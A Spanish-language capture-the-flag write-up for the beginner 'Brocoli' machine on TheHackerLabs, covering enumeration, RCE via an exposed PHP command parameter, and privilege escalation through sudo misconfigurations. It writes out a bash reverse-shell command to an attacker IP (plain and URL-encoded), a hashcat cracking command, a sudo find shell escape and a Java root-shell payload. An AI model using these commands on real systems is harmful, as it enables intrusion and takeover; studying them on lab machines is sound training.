En esta ocasión quería hacer la resolución de la máquina llamada «Brocoli» de TheHackerLabs de dificultad Principiante.

Resumen de conceptos trabajados:

Enumeración de servicios
Fuzzing web de directorios ocultos
Remote Code Execution (RCE) vía PHP
Reverse Shell en Bash
Enumeración de usuarios y credenciales locales
Abuso de privilegios con sudo (GTFOBins)
Escalada de privilegios (pivoting entre usuarios)

Si es tu primera máquina de The Hackers Labs y no sabes cómo empezar a comprometer la máquina, te recomiendo que visites este post donde te cuento paso a paso cómo hacerlo.

Básicamente lo que tienes que hacer es descargarte el laboratorio/máquina de la plataforma, importarla desde tu Virtual Box o VMWare, iniciarla y ya desde tu máquina Kali atacante buscar por la red interna la IP con el comando arp-scan…

El resumen de las tres capturas de imagen anteriores es que:

  1. por un lado, mi máquina atacante Kali ha encontrado en mi red una máquina con MAC que empieza por 08 que como sabemos corresponde a máquinas virtualizadas.
  2. por otro lado, confirmamos que esa IP efectivamente es la de nuestra máquina víctima lanzándole un ping y vemos que nos devuelve un TTL de 64 (máquina Linux)
  3. y comprobamos además que la máquina está activa con el mensaje «host is up».

Fase de Enumeración / Escaneo de Puertos

Comenzamos con la fase de reconocimiento y escaneo de puertos y servicios que corren para esa IP víctima.

Normalmente, y en los casos de prácticas de laboratorios, se suele empezar por un escaneo de puertos por TCP ya que la mayoría de servicios útiles en máquinas de laboratorio (HTTP, SSH, SMB, MySQL, etc.) usan TCP. Si no encontráramos nada por este protocolo, trataríamos de hacer un escaneo con nmap por UDP.

Por tanto, en nuestro caso y para empezar, aplicaremos el siguiente comando nmap por TCP (si quieres conocer el significado de cada comando, te dejo este post donde lo explico):

└─# nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.171 -oN Escaneo_TCP

El escaneo nos detecta los típicos puertos abiertos 22 ssh de acceso a usuarios autenticados, y el puerto 80 http donde corre un servidor web.

Conocidos estos dos puertos abiertos de la máquina víctima, lo que hacemos a continuación es enumerar, mediante un script básico de nmap, cuáles son los servicios y versiones que corren para esos puertos.

└─# nmap -sCV -p22,80 192.168.1.171                                                      

Vemos las versiones OpenSSH 9.6p1 para el puerto 22 ssh y el servidor Apache para la versión httpd 2.4.58.

Podemos analizar con searchsploit si hay algún exploit conocido en la BBDD de Exploit-DB pero parece que no hay ninguna pública reportada…

Por lo que mi siguiente paso es analizar la web viendo la IP en Firefox para ver que muestra e investigar potenciales usuarios, etc.

De primeras veo una página por defecto del servidor Apache2, y tanto con Wappalyzer como whatweb no da más información que el SO Ubuntu corriendo.

Analizando la página veo abajo del todo en el footer una línea de caracteres que, viendo que termina en «=» creo que es base64 por lo que pruebo a decodificarlo con CyberChef y me da un mensaje trampa: «aquinohaynada pelobrocoli».

FUZZING WEB DE DIRECTORIOS OCULTOS

Ok, el siguiente paso que probaré sabiendo que el puerto 80 está abierto es aplicar fuzzing web para buscar posibles directorios o ficheros ocultos, usaremos Gobuster.

└─# gobuster dir -u http://192.168.1.171 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Nos detecta el directorio /uploads donde vemos alojados dos ficheros, un txt y un php bajo las rutas:

http://192.168.1.171/uploads/brocoli.php
http://192.168.1.171/uploads/informebrocoli.txt

El fichero brocoli.php no podemos acceder y el txt nos da lo que parece una contraseña .

Para investigarlo, ejecuto Hash Identifier para ver si está hasheada esa contraseña, y me devuelve esto:

Sabiendo que está en formato MD5, lo que hacemos es usar hashcat con el diccionario rockyou para sacar la posible contraseña (antes pegué la contraseña anterior en un nano hash.txt la contraseña para pasarla más fácil):

└─# hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt 

Nos dice que la contraseña ha sido crackeada y que el resultado es: mecmec .

Por ahora no sabemos nada más que esa posible contraseña…

REMOTE CODE EXECUTION RCE VIA PHP

Sabiendo esa ruta expuesta que encontramos haciendo fuzzing con gobuster, pruebo a ver si inyectando comandos directamente desde el navegador, este me da respuesta…

Y efectivamente nos deja ejecutar comandos, de hecho conocemos qué usuario somos con el típico «whoami» => ?cdm=whoami

Sabiendo esto, vamos a intentar conectarnos a la máquina víctima mediante la inyección de un payload en bash que previamente url encodearemos.

REVERSE SHELL EN BASH

Para hacer esto, primero nos construimos una bash maliciosa:

bash -c "bash -i >& /dev/tcp/192.168.1.211/443 0>&1"

IP atacante

Ahora para url encodearla, podemos usar por ejemplo Burpsuite a través de su opción «Decoder»:

y tenemos:

http://192.168.1.171/uploads/brocoli.php?cmd%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%32%31%31%2f%34%34%33%20%30%3e%26%31%22

antes de ejecutarlo en el navegador después del ?cmd=XXXX , lo que hacemos es levantarnos un listener con netcat por el puerto 443 para recibir la shell en nuestra máquina atacante:

Conseguimos entrar y verificamos que somos usuario www-data y que podemos acceder a ver los ficheros alojados.

ENUMERACIÓN DE USUARIOS Y CREDENCIALES LOCALES

Si ahora navegamos entre directorios hasta el /home para detectar potenciales usuarios, vemos que hay creados los usuarios: brocoli y brocolon .

Ahora que tenemos dos potenciales usuarios y una contraseña, vamos a probar desde consola a cambiarnos a estos usuarios a ver si tenemos acceso…pero ninguno de ellos tiene esa contraseña…ni root.

Pruebo a aplicar fuerza bruta sobre el puerto 22 ssh con Hydra conociendo esa contraseña pero haciendo como que no conozco el usuario y que en su lugar coloco un diccionario de potenciales usuarios para que pruebe: /usr/share/wordlists/metasploit/unix_users.txt

Sin embargo, Hydra no consigue ninguno…

Sigo investigando desde el servidor otros directorios que pueda ver y que contenga más información, y al analizar el directorio /opt , veo un archivo llamado credenciales.txt :

Nos devuelve lo que parece la contraseña del usuario brocoli : megustalafruta .

Por lo que nos convertimos en el usuario brocoli y estabilizamos la tty para navegar sin problemas por consola.

ABUSO DE PRIVILEGIOS CON SUDO

Ahora buscamos privilegios asociados a ese usuario:

Esto nos dice que “brocoli puede ejecutar find como brocolon sin introducir contraseña”. Nos vamos a GTFobins y vemos cómo podemos abusar de find para acceder como brocolon .

ESCALADA DE PRIVILEGIOS Y PIVOTING ENTRE USUARIOS

por lo que si aplicamos este comando accedemos como el usuario brocolon :

sudo -u brocolon /usr/bin/find /tmp -exec /bin/bash \; -quit

Ahora como usuario brocolon buscamos la posible primera user flag…

Ahora buscamos escalar privilegios a root desde el usuario brocolon…

Para eso repetimos la búsqueda anterior que hicimos para el usuario brocoli y ejecutamos un «sudo -l»:

Nos reporta que podemos ejecutar el binario java como root para escalar privilegios.

La idea es ejecutar un JAR nuestro como root que abra /bin/bash.

Creamos un payload en Java y lo alojamos por ejemplo en el directorio temporal /tmp :

cat > /tmp/Root.java <<'EOF'
public class Root {
  public static void main(String[] args) throws Exception {
    new ProcessBuilder("/bin/bash","-p").inheritIO().start().waitFor();
  }
}
EOF

Y si ahora lo ejecutamos, tenemos acceso como el usuario root:

brocolon@TheHackersLabs-Brocoli:/tmp$ sudo java Root.java

Ya solo nos queda movernos hasta el directorio root para ver la flag

RESUMEN DE LA MÁQUINA BROCOLI

Comenzamos identificando la máquina víctima dentro de la red local mediante ARP Scan y confirmando que se trataba de un sistema Linux gracias al TTL=64. Después, realizamos un escaneo de puertos con Nmap, donde detectamos únicamente los servicios SSH (22) y HTTP (80). Al analizar el servicio web, encontramos una página por defecto de Apache y, mediante fuzzing con Gobuster, descubrimos el directorio /uploads, que contenía un archivo PHP vulnerable y un fichero de texto con un hash en formato MD5. Al crackearlo con Hashcat, obtuvimos la contraseña mecmec, que no nos valió de nada.

A continuación, comprobamos que el archivo brocoli.php permitía la ejecución de comandos mediante el parámetro cmd, lo que nos dio una RCE directa desde el navegador. Aprovechando esta vulnerabilidad, ejecutamos una reverse shell en Bash, logrando acceso al sistema como el usuario www-data. Desde ahí, realizamos enumeración interna y detectamos dos usuarios reales en el sistema: brocoli y brocolon. Siguiendo con la búsqueda de información sensible, localizamos en el directorio /opt un archivo credenciales.txt que contenía la contraseña válida del usuario brocoli, lo que nos permitió pivotar a dicho usuario y estabilizar la sesión.

Una vez como brocoli, enumeramos privilegios con sudo -l y descubrimos que podía ejecutar el binario find como el usuario brocolon sin contraseña. Abusando de esta mala configuración mediante GTFOBins, obtuvimos una shell como brocolon. Repetimos la enumeración de privilegios y observamos que este usuario podía ejecutar java como root sin contraseña. Creamos entonces un pequeño payload en Java que abría una shell y lo ejecutamos con sudo, logrando acceso como root y pudiendo leer la flag de root.

Otros posts relacionados